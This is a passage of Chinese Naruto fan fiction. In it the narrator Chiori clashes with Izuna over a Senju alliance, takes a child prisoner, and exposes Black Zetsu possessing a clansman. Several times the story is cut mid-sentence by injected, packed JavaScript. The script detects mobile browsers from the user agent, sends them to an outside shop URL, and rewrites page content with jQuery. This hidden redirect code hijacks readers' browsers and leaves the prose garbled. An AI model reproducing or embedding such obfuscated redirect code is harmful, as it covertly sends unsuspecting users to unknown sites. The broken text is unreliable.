我们都清楚对方的想法没有错。可这也是会影响一族未来的分歧,怎么也不可能在训练场上儿戏地决出胜负。 火核摸了摸我的脑袋:“我也越来越搞不懂你了,千织。” 他这么说着,顿了顿,继续道:“但你是我妹妹,无论如何我都会帮你的。” 我抬眼看着这个大我两岁的哥哥。他其实也已经是个标准的成年忍者了,有着自己的判定和认知,可是我总觉得他还是我记忆里那个不太成熟的人。 我摇头拒绝了。 “你跟着族长就好啦,别来沾我们的事。” 说到底最终的决定是族长来做,火核是族长的直系部下,独善其身就好。 他抬手敲了下我的脑袋。 “别小看你哥 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13297640|138195||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 哥。”他说。 我哦了一声,没问他为什么不劝我放弃结盟的想法。 宇智波再度接到战争雇佣的前一天,是泉奈的生日。 新年过后就是战争的高发期,为准备接下来必定来临的战争,他肉眼可见地忙碌了起来。 我回据点正式交接了之后的工作,将自己的东西带了回来,而后逐渐开始接手当初老师的部分工作。 也正是族中老弱的求助,让我对结盟一事更为坚定。 无论如何,忍村制度是这个战乱时代的进步。 “泉奈。”他离开前,我叫住他。 泉奈回过头看我。 藏在手心的御守仿佛黏在手里,我不知道我们如今的关系再出送礼物是否还恰当。 但年年如此的习惯,让我在想起我们如今的关系前就已经提前准备好了礼物。 就和我们不约而同给对方准备了新年礼物一样。 可恶,如果我的生日在他前面就好了,我就不用这么纠结,只用看他怎么做。 见我迟迟不语,他向我走近了几步,似乎犹豫了一下,而后迟疑地伸出手。 我愣了一下:“什么?” 泉奈移开目光,手稍稍放下了些,手指微微蜷曲:“没什么……今年没有吗?” 见他要将手放下,我忽然明白了他的意思,连忙抓住他的手,把御守塞进他的掌心,然后忙退开了好几步:“有的。” “……生日快乐。”我轻轻说了一句,而后抬眼看他。 他似乎愣住了,手保持着半张的状态,在我看向他后才反应过来般握紧了手中的东西,收回手去。 “你不生气了?”他顿了一下,问道。 “你觉得我之前只是在生气吗?”这话却让我有些生气了。 泉奈摇了摇头,可又点了一下。 “那天我……亲你的时候,你生气了,但那和我们现在的情况并没有那么大关系。”他迟疑片刻,抬起手理了理我耳边的发。 我克制了一下自己本能的反应才没有避开,又想起那天书房发生的事——其实我也没有那么生气。虽然这么说有些丢脸,其实那时候我更多的是……害羞。 我听他继续道:“这些日子我已经很清楚,你的决定是认真的。” 泉奈的手指回缩了些许,没有触碰到我的脸颊。 他垂下手臂:“但是在这件事上,我无法认同你,就和你无法认同我一样。” 忍族之间的仇恨,哪里是那么轻松就能放下的。 自古以来的战斗争端,不打个头破血流直至一方称臣或灭亡,少有和平解决的。 哪怕是未来千手与宇智波的结盟,也是宇智波战败后千手族长把族长的死亡选择题做成了问答题,才勉强达成。 “我知道,所以我并不打算改变你的观点,我只要让追随我观点的人变多就好了,”我注视着泉奈的眼睛,“泉奈,除非你一直保持优势,否则,哪怕我占一次上风,就是我赢了。” 他对千手族长的结盟说辞避之如猛虎,何尝不是因为察觉到了没有表态的族长内心的某种倾向? 这些年来,支撑着族人们战斗的,是无休止的仇恨与宇智波看似不落下风的局势。 但忍者毕竟也是人,是人就会对美好的事物产生期盼,当失去的事物多到人无法承受时,无休止的战争只会让人疲惫和厌倦。 一旦期望和平的声音抵达高点,族长也不得不正视当下的形势。 泉奈点头,将御守收到怀中放好,语气十分平静,像是在宣告着什么一般:“在此之前,宇智波会获得胜利的。” 这么说着,他忽而弯了弯眉眼,唇角翘起:“还有,多谢你的礼物,我很喜欢。” 这一笑让他多了几分活泼的少年气,我不太敢直视这个笑容,状若无事地转过头挪开视线:“没什么,只是个御守而已。” “你等一等。”他话音刚落就离开此处,不过很快就回来了,同时我的手上也忽而被塞了个东西。 我愣了一下,还没低头看去,就听见泉奈低声说道:“其实,之前你说要跟着上战场后,我也去求了一个回来,只是一直不知道该怎么给你,本来还在想要不就拖到夏天你生日的时候。” 我摊开掌心,一枚崭新的御守静静地躺在上面。和我送给泉奈那枚一样,都是祈求平安的御守。 “这样一来,我们就都有了。”我听见他略微松了一口气的声音。 此时此刻,想要询问他在他心里我究竟算什么的冲动达到了顶峰。 家人、妻子、朋友? ……还是恋人? ——还不是恋人。 当年夏日祭他回答旁人的答案突然浮现在脑海当中。 “千织,我不知道你在担心什么,”他的声音很淡,手却抓得我手腕很紧,“那么,就等到我们之间决出胜负的那一天好了。等到那一天,再来谈我们之间的事好吗?” ……骗子。 他怎么可能不知道我在担心什么。 在他说出这句话时、在我与他争执过万花筒的副作用后、在当初我对他说不要死时……他早就知道我在担心什么。 只是他自己也无法向我承诺罢了。 “好啊。”我垂下眼眸,听见自己这么回答他。 26.俘虏 战场上的一切依旧令人战栗。 不同的是曾经我跟在别人的身后,如今的我则是更多人的依靠。 三勾玉在族中也是较为罕见的,足够统领一支小队了。 队伍里有几个族里的孩子,其中一个孩子是第一次跟着来,极力掩饰着心中的紧张和不安。 就好像当初的我。 这次没有火核在身旁兜底。 我握紧了手中的忍刀。 一切就好像永无休止的轮回。 雇佣千手与宇智波的两方势力是火之国与川之国接壤地带的两方火之国领主。 两地领主因与川之国的商贸权起了龃龉,协商不成后冲突升级成了战争。 雇佣宇智波的领主要求狠狠重创千手一族,给对方领主一个好看,逼迫对方签下降书。 听说对面领主更过分,还给族长泉奈火核这些活跃在战场一线的宇智波的脑袋标了价格,让千手来杀。 我搞不懂这些贵族的脑回路,这就跟我当初看《甲贺〇法帖》里德川家康下令甲贺与伊贺两支忍族派系互相残杀以此来决定幕府继承人是谁时,我脑子里冒出无数问号一样疑惑。 恕我直言,这种行为让我想起了斗蛐蛐。 不过我上辈子只在某个虚拟武侠沙盒游戏里斗过蛐蛐,这辈子让我变成别人手里的蛐蛐是否有点太过分了。 因为我队里有孩子,所以我们比主力部队晚上一天出发。 主力部队交战之时,我们这些小队则负责奇袭、扰乱千手方对我们后勤补给队伍的判断,以及应对千手针对后勤的袭击。 千手一族的袭击来得很快。 我解决完对方小队的首领,回头发现有两个成年忍者不见了。 “他们人呢?”我皱着眉,问剩下的人。 “战斗的时候追着一个敌人分散了,千大人。”其中一人回答道,他曾在据点当过我的部下。 ——不怕是诱敌深入的陷阱吗? 我有些不满地皱眉。 背对着队友,万花筒的瞳术悄然展开,掩盖了此处的人迹。 我叮嘱小队剩下的人留在这里探查死掉的千手留下来的线索,自己沿着另外两人的行踪追了过去。 树林间弥漫着血腥味,虫鸣声在幽暗的树林中显得有些凄厉,混合着微不可见的呜咽声。 我扶着树干,在一棵树上站定,眼前的一幕映入眼帘。 那个和其他人分散的千手忍者是个仅五六岁大的小孩,两个成年忍者一前一后堵着了她的去路。 年幼的忍者双手颤抖地握住手中的刀柄,眼神中充满了恐惧。 我又想起第一次上战场时遇到的那个猿飞一族的忍者。 ——也想起了原著漫画中千手柱间那个我不记得名字的弟弟被好几个成年宇智波围杀的场面。 那一幕的压迫感和那个千手的恐惧简直要从屏幕里溢出来了。 我当时被画面氛围震撼,截屏对亲友说“我天,ab的手上天堂,他画得好强,真的好恐怖”,那时的我只分了一丝的怜悯给漫画中的角色。 所以说真实的场景和动漫还是有点区别的。 ——我还是接受不了即将发生在眼前的事。 是个接受了九年义务教育从小学习道德法制的现代人都接受不了这一幕真实地发生在眼前。 我觉得做了忍者的自己还在在乎这种底线简直是在自讨苦吃。 “你们在做什么?”我出声道,“为什么擅自离队?” “千织大人?”其中一人一惊,回头时略带歉意地说道,“抱歉,我们耽误太久了,这就解——决?” 他惊异地看着我用幻术放倒想要趁乱逃跑的千手忍者,不解道:“您这是?” 我拎起这个小孩,言简意赅:“俘虏,我会向斑大人解释,你们不必问。” 这里要解释一件事,由于两族过深的血仇,再加上宇智波特殊的血继会让宇智波在被俘虏后面临更深的地狱,两族基本上是不抓俘虏的,双方在战场上照面就是死斗。 我们宇智波和千手开战的话,向来没有留对方活口的传统。 否则两族族长的孩子大可作为谈判的筹码,但他们都死在了过去。 顶着对方奇怪的目光,我面色如常地领着他们和刚才被留下的队友会和。 有个年幼的宇智波小姑娘过来帮我把这个千手身上的武器全都搜了出来。 将她绑起来后,她忧心忡忡地问我:“千织大人,这样她应该不会逃掉了吧?” “嗯,她暂时不会从幻术里醒过来。”我有些疲惫地眨了下眼睛,刚才为了隐藏小队用过瞳术常世后,眼睛就一直有些涩意。 真亏族长能够开着万花筒和须佐天天跟千手族长打。 因为留了个活的千手,我带着小队回主营地的时候,四周明里暗里都是打量我的目光。 我让队里的人看好这个千手,在我回来前不许任何人带走她,接着径直去了族长的营帐。 到了营帐时,火核正好从里面出来,见到我后就叫我进去,他显然已经听说了我的事,欲言又止,满脸的纠结。 “泉奈大人也在。”他低低在我耳边提醒了一声,不过在场的都是忍者,说得再小声里面的人都听得见。 我点点头,掀开帘子进去。 族长坐在一张铺了地图的桌子后面,泉奈站在他身侧,表情不悦,眉头紧紧皱着。 倒是他哥,喜怒不形于色,看不出来心情如何。 说不定我来之前泉奈已经和他哥又蛐蛐了一次千手,坚定他哥的不结盟之心。 “刚好你来了,千织,”族长手搭在桌边,淡淡道,“那个千手是怎么回事?” “斑大人,”我行礼道,“我认为留下一部分千手的俘虏是有利于获得这场战争的胜利的。而相比成年忍者,这些幼年忍者看管起来所耗的资源更少。” 泉奈在他哥身边冷声开口:“留下一部分千手的俘虏有利于获胜?千织,什么都没解释,你就直接将话题跳到留什么俘虏上了,还自作主张把人带回来。” 虽然没有直说,但他话语中的责备不言自明。 族长没有说话,那就是将对话交给了我们二人,我看向泉奈:“一旦千手一族得知我们竟然会对他们留活口,总会有人在战斗中心存侥幸,缺乏战意。族人被俘,此举亦能打击他们的士气。这样的话,对敌的族人们伤亡也有几率下降。 “二来,没有会和之前,我是我们小队的负责人,有权根据战场形势做出应变。我一回来,就到族长这来汇报了,这与自作主张无关。 “另外,等到战争结束,我们可以用这批俘虏从千手手里换些好处。他们不是自诩爱的一族吗?那就看看他们愿意为族人付出什么代价好了。” 泉奈愣了片刻,听了我的话后表情缓和了一些。 但听见我说要找千手交换俘虏的时候,他脸上的表情便又挣扎了起来,显然是在衡量此举对两族的得失。 “这些千手长大后就又会是棘手的敌人,不能放回去,”最后,他看向族长,“一时的得利会为将来埋下祸根。” “那就带回族里,替我们干活。”我立刻回道。 泉奈:“拿族里的东西养千手?不可能!” “反正我抓的这个千手,你不能杀。我要练习幻术,花销我来承担。”我抿了抿唇。 当务之急不是其他不存在的千手怎么处置,而是我手中的千手会被如何对待。 泉奈表情扭曲了一瞬,不可置信地向我的方向走了两步,声音都提高了不少:“你要带个千手回家?!” 族长转头看向失态的弟弟。 我愣住了。 大意了,没考虑到我们住一 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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我的沉默似乎让泉奈得到了某种答案。 他抿了下唇,脸上失去了所有表情,用一种我极难理解的语气说道:“千织,有时候我真的想知道,你那颗心究竟是什么做的。” 心脏在此刻重重地跳了一下。 我下意识地抓住了他的手。 泉奈错愕地睁大眼睛,我也懵了。 身体比意识的快的坏处就在这里显现出来了。 我刚想松开手,泉奈便立刻反手抓住,挑了挑眉:“你做什么?” “……我不知道。”我有些尴尬地想抽回手,然而泉奈根本不松。 就在这时,火核的声音从我们身后响起。 “泉奈大人,斑大人请你过去一趟。” 泉奈有些意外地回头看向营帐的方向,而后松开手,低头和我说了声他先走了,让我照顾好自己。 “……” 说真的,他可以不说的,既然生气就生气得大方一点,这都不忘说好话吗? 这样不就显得刚才戳了他伤口的我更加罪无可恕了! 我承认我是有些无能狂怒了。 “我觉得我可能需要提醒你一句,”我还兀自懊恼着,火核不动声色地踱步到我身边,也不看我,就微微仰着头看着天,仿佛天上马上就要从天而降一个辉夜一样,他语气有些微妙,“战场不是谈情说爱的地方,千织。” 我:…… “你想多了,我们刚才是在吵架!”我恼火地瞪向他。 真是够了,我和泉奈是那种分不清场合的人吗! 宇智波火核,你每天都在想些什么啊! 27.附身 火核在想什么我不知道,我只知道自己还在因为那句脱口而出的失言内耗。 我忧心忡忡地回到队里的时候,队里两个少年宇智波正在吵架,小队其他人见怪不怪地坐在篝火边听着。 女生正气不过地对着男生说:“你简直比千织大人抓回来的那个千手还讨厌!” 我不禁瞪大眼睛:哇,骂得好脏,这么严重,发生什么了? 千手这个词在族里,不仅仅是一种代表敌人的名词,还是一种形容词——贬义那种,用来骂人时对宇智波具有特攻效果。 就算是隔壁有木遁的千手族长,被拿来作形容词时也不例外。 这种形容词我和泉奈吵架的时候都没用过,唯一一次有点类似的是泉奈问我是不是被千手族长洗脑了。 我带着吃瓜的心态静悄悄地坐到了成年忍者那一边,想要听听隔壁到底在吵什么。 结果还是被隔壁两个吵架的宇智波发现了。 他们停止争吵,主动向我打招呼。我也只能点点头,假装自己只是走路比较安静,不是想看八卦。 “你们继续,不用在意我。”我和善地说道。 两个小团扇尴尬地面面相觑,然后不约而同地摇头说没什么。 好吧。 看来这两人没有关系恶化到要吵到上训练场的程度。 ……这么想着的同时,我冷不丁又想起族长的阴阳。 心情又down一个点。 一旁从据点就开始跟着我的那个忍者悄悄和我说别担心,说那两个孩子从小就这么互不相让,其实感情很好。 本来他们没被分到一个队,还是特意在族长去训练场看族人训练时跑到他面前请求,才被分在一起的。 我问他怎么这么清楚。 他说那个女孩子是他的侄女,男孩子是他邻居家的儿子。 懂了,青梅竹马。 没过多久,族长那边来了命令,把那个千手的孩子送去后勤部队看守起来。 正式命令一下,周围的人都神态各异。 我带着人过去,后勤部队的药师还有些为难怎么看守一个活生生的千手,担心对方醒来后逃了去。 我说了她目前的状况,我的幻术没有那么容易挣脱,定期喂水和食物就行。 族长的命令传得很快,也代表着某种态度,后续影响就是没几天营地里就多出了好几个千手俘虏。 千手一方也确实在战斗中出现了动摇,但我们这边同样遇到了麻烦。 我的幻术再厉害也没办法同时管住这些千手,看守和关押他们成为了一桩难题。 人多了,就要警惕他们互相联系逃跑偷袭,族里也需要更多的人看守他们。 布置好新的看守方式,我从后勤部队出来,就遇上泉奈等在不远处。 这还是自上次告别后我们第一次见面。 “走一走吧。”营地四周燃烧着火把,空中飘过几点火星,泉奈邀请道。 我点点头,神色沉重地跟了上去。 夜色下的营地极为安静,但也只是表面上看起来,实际到处都是眼睛和耳朵。 “我本以为,你会极力主和。” 我们走出营地,到了附近森林的边缘,泉奈才缓缓开口。 “……我不是来捣乱的,没有那么天真,就算结盟,也有很多种方式。输掉被迫结盟、赢了后的施舍结盟、拖延时间的暂时结盟……虽然都是结盟,却也不是我想看到的,”我们停了下来,树林中响着虫鸣之声,我想起原著里的宇智波,深深叹气,“无论如何,宇智波不能落入下风。” “用这些俘虏换取结盟的话语权?”泉奈又问道。 哪里有这么容易。 我没有正面回答他:“千手是不是开始尝试着留下我们这边的活口了?” “……你太心软了,千织。”泉奈沉默了一会儿,说道。 “我的做法难道没有为族里带来益处吗?”我缓缓地组织自己的语言,“我们和千手的仇恨太深了,就算是想要结盟的我也不敢完全相信他们。 “但是如果永远停留在原地,就永远不会有改变,至少……可以先做出一些尝试。” 千手柱间是千手柱间,但他又不代表一整个千手,更何况他弟弟极度警惕我们。 泉奈没有说话,我也没有看他。 但大概是因为此时此刻这里只有我们两个人,我不由多说了一些。 “我其实都记得的,”我借着零星的月光拉住他的手,双手覆了上去,那只常年握刀结印的手上遍布着硬茧,血液于肌肤下涌动的细微震动自指尖传来,“每一次葬礼的时候,你家就在不远处,我一抬头就能看见你。 “我也看着你从一开始会抱着棺木哭泣,到后来越来越沉默。” 于是一个孩子逐渐变成了一个忍者。 一个活生生的人蜕变成了一柄锋利的武器。 “我知道我们与千手的仇恨是难以化解的,也从来没有想过强行让你接受这些,所以那天的事,我真的很抱歉,我不是想伤害你。 “一直以来我总觉得除了家人只有自己可以信任,我……不知道自己该如何和其他人建立很近的联系,所以总是忽视这些。” 我尝试着为那天的事解释和道歉。 泉奈一动也不动地任由我握着他的手,声音干巴巴的:“我早就没生气了。” 他另一只手微微抬起来些,犹豫片刻后又放下。 “那天我也说了重话……对不起。” 那天他问我我的心是什么做的。 其实在忍者的价值观里,我们最好让自己的心像钢铁一样坚不可摧。 我也跟着摇头:“没事。” 我们就这么相对无言地站了好一会儿。终于,在一方提出打算回营地的时候,泉奈又问了我一个问题。 “千织,在你看来,我真的很固执吗?” 那是我们婚后第二天,他从我这里问到的评价。 他站在婆娑的树影之下,眉目神情都被藏在阴影之中,等待着我的回答。 我迟疑了一瞬,不明白他为什么突然问这个问题。也正是这一迟疑,他紧绷的唇角缓缓放松了些。 “千织,其实你也很固执。”他对我说了一句莫名其妙的话。 我不知道他指的是哪一方面。 这是这场战争中一场极为细小的插曲,转眼便又被战场上的厮杀盖了过去。 族中也逐渐出现了些被千手俘虏的人。 这就是千手一族做出的应对。 这种两族会在战斗中稍微留手的情况,在过去完全是不可能想象的。 族中对千手一族渐渐有了些除了咒骂外的其他声音,只是极为微小。 有些人议论着怎么救回被俘虏的族人。 战争继续推进着,但双方都对俘虏没有更进一步的处理。 就好像某种试探,亦或说是默契。 某次军议时,泉奈的一名部下提议,让族中精锐伪装成幼年忍者故意被俘,潜入千手的营地,打他们个措手不及。 我不禁看向泉奈,但他脸上没什么表情,我也无从得知这是他的授意还是他部下自己的想法。 营帐内鸦雀无声,无人接话。 这招会打破两族对于处理俘虏一事上微妙的平衡,更甚者会使被俘虏的族人受到千手一族报复性的杀戮。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13361395|138195||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 族长不置可否,见众人都不说话,目光落到了不远处的火核身上。 得到族长暗示的火核也出列,反驳出声。 “我们安置那群千手时费了不少功夫,就是担心他们会反扑。千手那边还有不少他们亲族漩涡提供的封印术,贸然潜入恐怕最后得不偿失,更何况变身术稍一检查就会露出破绽,如何伪装?而且,”火核说到这里时,也不免皱紧了眉头,“一旦暴露,我们被俘的族人性命不保。” 那人皱着眉向火核行了一礼:“火核大人,寻常变身术自然不行,但是千织大人的幻术可以伪装现实,即使是忍者也难以分辨。” 火核脸色一变,狠狠瞪着对方。 “宇智波真生,退下。”泉奈皱眉看向他的部下,直接命令道。 然而宇智波真生一点没动。 突然被cue,我轻轻眨了下眼睛,看了过去,正好与他对上视线。 很难说明我此刻的感受,和这人对视的时候,我感受到了一股十分隐晦的恶意。 ……错觉吧?都是同族,若是说立场原因,我现在可没表达过与千手和谈的倾向,怎么会和人结仇。 “任何幻术都有一定的限制,你的意思是让我潜入千手?”我回过神来,深深吸了一口气,问道。 他连忙低下头:“您身份贵重,若是不愿冒险,自然不能勉强。只是此计若是成功,或许能够重创千手的族长,而您也会是关键。” 不太对劲,他不仅在试图对我用激将法,还在挑动我对千手柱间的仇恨。 我曾被千手柱间重伤的事在族中不是秘密。 “……”我在思考我究竟在哪里得罪了这个家伙,但是我就只见过他几面,还是这次战场上见的,此前和他并无交集,今天之前我连他叫什么都不记得,“你对其他人也这么说话?” 宇智波真生愣了愣,有些错愕:“什么?” 我没什么情绪地对他勾了勾唇角:“我以前没什么机会参加军议,也没怎么见过你,不太了解你的说话风格。以往你提出意见时,也是这样的?” 我学着他刚才的话:“斑大人您身份贵重,若是不愿冒险,自然不能勉强——你想要斑大人听你的命令时,就这样对斑大人说话?” 坐在上首的族长嗤笑了一声。 宇智波真生脸色大变:“我怎么敢——” “哦,你不敢,因为斑大人是族长,这才是身份贵重,”我凉凉开口,“所以到我这里你就敢了,是吧?这也是你嘴里的身份贵重?” “斑大人还没表态,你就这么着急推着我去做一件还没商议出结果的事。怎么,你和千手串通好把我卖了?”我向他走去,抽出忍刀。 宇智波真生见状,满脸不可思议。 “宇智波千织,你要残杀同族吗!”他没有料到我的举动,但见周围的人都没上前制止,竟然什么都没怀疑,下意识地咬牙转身就逃—— 就在他逃出营帐的瞬间,赤红的火焰自门口席卷而来,宇智波真生只来得及惨叫一声便倒在地上,一个黑影自他身上脱离而出,融入地下。 我一愣,解除了幻术,收回写轮眼。眨眼之间营帐内恢复成了刚才的模样,宇智波真生倒在刚才他站出来的位置。 旁边正好有人斥责我当着族长的面随意对族人使用幻术,我没理,快步走到宇智波真生面前,几个封印术直接扔了过去。 做完这一切,我才放松了些,对着上首的族长说明情况。 “斑大人,宇智波真生被敌人附身,他在幻术中露了破绽。” 我当年用幻术揪出过不少细作,拥有丰富的经验。 此言一出,刚才责怪我的人直接闭上了嘴。 28.交代 我不知道黑绝为什么会突然掺和进这件事,但联想到石碑被炸,他主动来挑唆两族升级矛盾的可能也不是没有。 发现他完全可以说是误打误撞,刚才旁边蛐蛐我擅自对族人用幻术的人并没有说错,我一开始确实是故意用幻术的。 主要是黑绝操控着宇智波真生直接对我发难,我的脾气也并没有那么好,这一点从我小时候就屡屡被泉奈挑衅成功就能看出来。 再加上宇智波族内总体上就是个以实力为尊的氛围,我本来也只是想警告他别随随便便拉我下水,我和他又不熟。 火核作为我哥都没说话呢,他又凭什么来安排我?他又不是我的上司。但凡他事前找我通过气我也不会是这种态度。 结果我就发现身陷幻术的他一边对我用激将法,一边话里话外用千手柱间拉仇恨。 更为重要的是,我用的只是普通的三勾玉幻术。 宇智波真生作为泉奈可以参加军议的部下,就算我不熟悉他,他也是族内三勾玉忍者里顶尖的那一批了,不可能对我的幻术毫无察觉,更不可能在面对我的攻击时毫无战斗意识转身就逃。 结果这么一试,黑绝直接暴露。 等到帐内其他人被请出去,我还有些恍惚——这可是火影里滑不溜手的黑绝,能抓住他简直属于中大奖了。 营帐内只剩下四个人。 仍在昏迷的宇智波真生连带着附身他的黑绝合计算一个。 泉奈走到昔日部下的身边蹲下,一边探查一边问我:“你的幻术什么时候能解?” “已经解了,没醒来算是后遗症,”我还记得黑绝的招数总是防不胜防,见泉奈离这么近,不由提醒道,“你离他远点,附身的那个敌人能力诡异,很容易中招。” 他本来打算碰宇智波真生的手顿了一下,又收了回去:“你的语气,似乎很熟悉他?” “石碑,他改过,”我言简意赅,“刚才在幻术中,他还刻意提起千手的族长,想激我去报仇。” 至于阴阳怪气我,说我可以以族长义妹和泉奈妻子的身份享受优待,不以身涉险这件事,我干脆没提。 这话光想到就晦气,我人都在战场上了,恶心谁呢。 当初在族长面前我提过黑绝,此刻倒也好解释,至于剩下的……万花筒想要审问敌人,再简单不过了。 我着重提了下黑绝对挑起两族更深矛盾的意图,然后看着泉奈在“宇智波真生”苏醒后直接用万花筒逼出黑绝审问。 可惜宇智波对封印术的研究不深,又担心将黑绝分离出来后他直接逃走,目前只能把黑绝连带着宇智波真生一同封印,单独关押起来。 再怎么说宇智波真生也是族人,能保住他还是要保的。 泉奈一五一十地向斑转述了黑绝在他的幻术中交代的内容。 不知道是询问方式的问题还是黑绝自身对幻术有一定的免疫,黑绝只提到了他的目的是挑起千手和宇智波相争,让写轮眼得到进化,至于他最终的目的和辉夜的存在,黑绝愣是没提到。 “他承认是他修改的石碑……”泉奈继续说道。 我在一旁听着泉奈念出了随着石碑炸毁而不会现世的永恒万花筒才能看见的内容,血压飙升,当下就想冲过去狠狠揍黑绝一顿,还是宇智波真生无辜的脸拦住了我。 我压着火气问道:“他没有提写轮眼进化和我们两族仇恨的关系吗?” 泉奈表情冰冷极了,咬着牙道:“没有。” “……” “……” 别说他哥了,就连我都意识到不对了。 “泉奈,”族长开口,“他还说了什么?” “没……” 就在泉奈还打算隐瞒的时候,族长直接道:“我可以再问他一遍。” 于是我听着泉奈用着极其不甘心的语气说道:“那个家伙胡乱攀扯关系,说千手和宇智波曾是血脉相连的兄弟,写轮眼最后的升级需要用到木遁使的细胞。” 说这话的时候,泉奈连写轮眼都瞪出来了。 这也难怪。毕竟宇智波向来为写轮眼骄傲,千手一族的木遁又是多年不现世的罕见血继,约等于无,大家没少因此蛐蛐过隔壁千手。 此刻被一个莫名其妙的家伙说本来是仇敌的两族关系亲密到写轮眼都需要对方的帮助才能升级…… 对泉奈来说,这话估计怪恶心的,难怪一点都不想说。 只能说还好泉奈不知道族长和隔壁千手族长是因陀罗兄弟查克拉的转世,不然搞不好下次战场上泉奈会直接往千手柱间的地方冲。 族长静默了一会儿,又看向我:“宇智波千织。” 我一惊,抬头看向十分少见地直接称呼我全名的族长。 这无疑是一种不妙的信号。 这么说吧,我都不记得上一次族长叫我全名时是什么时候了。 “……兄长大人,您有什么吩咐?”在两种称呼之间抉择了一下,我选择先攀攀关系,用更亲近的称呼回话。 因为族中混入奸细,事态严重,刚才清场时火核被派去排查营地安全状况了,他也听不见。 族长的嘴角微妙地抽了一下,飞快地看了眼我身旁的泉奈,才继续道:“关于这个自称绝的家伙,你还知道什么,直说吧。” “……啊?”我呆住了。 泉奈在我身边轻叹了一声,在我身边小声地提醒道:“你刚才不该问我的。” 我回想刚才自己的问题,默然无语。 确实,刚才那个问题的指向性太过明显了,尤其是在泉奈说出了被篡改的石碑内容后,我再这么一问,简直是多此一举。 如果是敏锐度没那么高的人,说不定听听就过去了,然而在场的两个人都不是好糊弄的。 族长是谁,是多年后带着九尾和千手族长打架,计算好假死咬下千手族长一口肉然后蛰伏几十年间接操控了忍界未来大势的人,晓组织也有他的手笔,他作为后手留下的带土更是曾操控过雾隐。 泉奈也不用说,是千手扉间需要开发新术对付的、几乎找不到破绽的对手。 我看了眼已经被封印术封印得严严实实的“宇智波真生”,犹豫了一阵,还是道:“斑大人,我的话没有证据可证明,我不对我所说的内容负责。” “你只管说。” 有了应允,我放松了些,然后和盘托出。 “上古之时,从天而降一位神女……”我尽量简短地说了遍大筒木一家的爱恨情仇,把 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13370168|138195||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 黑绝的底掀干净了,“他的所作所为,是为了让辉夜自开启了无限月读之术的轮回眼拥有者身上复活。” 想起族长在原著中的下场,我都不知道该说什么了,辉夜复活后千手扉间提议秽土族长把事情问个清楚的场面还挺地狱的。 我不是生在四战时期的忍者真是太好了。 等等,也没关系,毕竟那个时候宇智波都灭族了,我要真生在那个时代,指不定变成团藏手上的写轮眼。 ……越想越地狱,不想了。 “等一下,千织,你的意思是斑哥是因陀罗查克拉的转世,那个千手柱间……?”泉奈语气惊疑不定。 我尝试安抚他:“你可以让千手扉间也知道这个消息。” 这样下次大家战场见面的话说不定两族族长都得拦着自家弟弟。 他深深吸了一口气,还是不想相信这个可怕的事实:“这真的不是你为了达成两族和谈的目的编造的吗?” “我要是能编造这种东西,现在我也不会在这里了。”我谴责地看向泉奈。 我为什么会跟着一起上战场,他再清楚不过了。 “和谈?”族长再一次抓住我们的话题,意味不明地重复刚才我们提到的关键词,而后发难,“泉奈,你们似乎瞒了我不少事。” “……” “……” 好好好,又聊爆一个。 族长大人有些事你真的可以装作不知道的! 这种事我没法和族长说,我能说什么? 说我和你弟弟其实相当长一段时间都貌合神离,因为我们对千手的态度不一致? 泉奈一脸僵硬,他偷偷给我使眼色,然而我爱莫能助。 “斑大人,宇智波真生的事提醒了我,我想再去排查一遍千手的俘虏。”我在心底对泉奈说了声抱歉。 族长扫了我一眼,没有正面答复我,反而又看向泉奈:“你觉得呢,泉奈?” 好熟悉的问句。 当初族长也是用这么个句式问我怎么看婚约。 族长,杀人诛心是你的爱好吗? 泉奈已经一脸木然了。 他微微点头,转过头看我时瞪了我一下,而后回答他哥:“千织的担心很合理,先让千织过去吧。” 族长便轻笑了一声:“既然如此,你留下,千织去确认俘虏。” 虽然有了合理离开的理由,我还是有点担心泉奈,寻思着要不再找个理由把他也捞出来。 再怎么说我和泉奈的事其实大半算是私事,族长真的不需要特意过问的! 不过泉奈冲我摇了下头,示意让我先离开,再加上族长又加了一句“不去吗?”,我立刻放弃,赶紧出了营帐。 等到去俘虏关押地的半路,我脚步微顿,忽然意识到一件事。 在说了黑绝的事之后,族长依旧没有在“我”面前表达相关的看法,连相不相信都没有说过。 在泉奈都因为其中一些信息感到离谱时,族长反而趁机转移了话题。 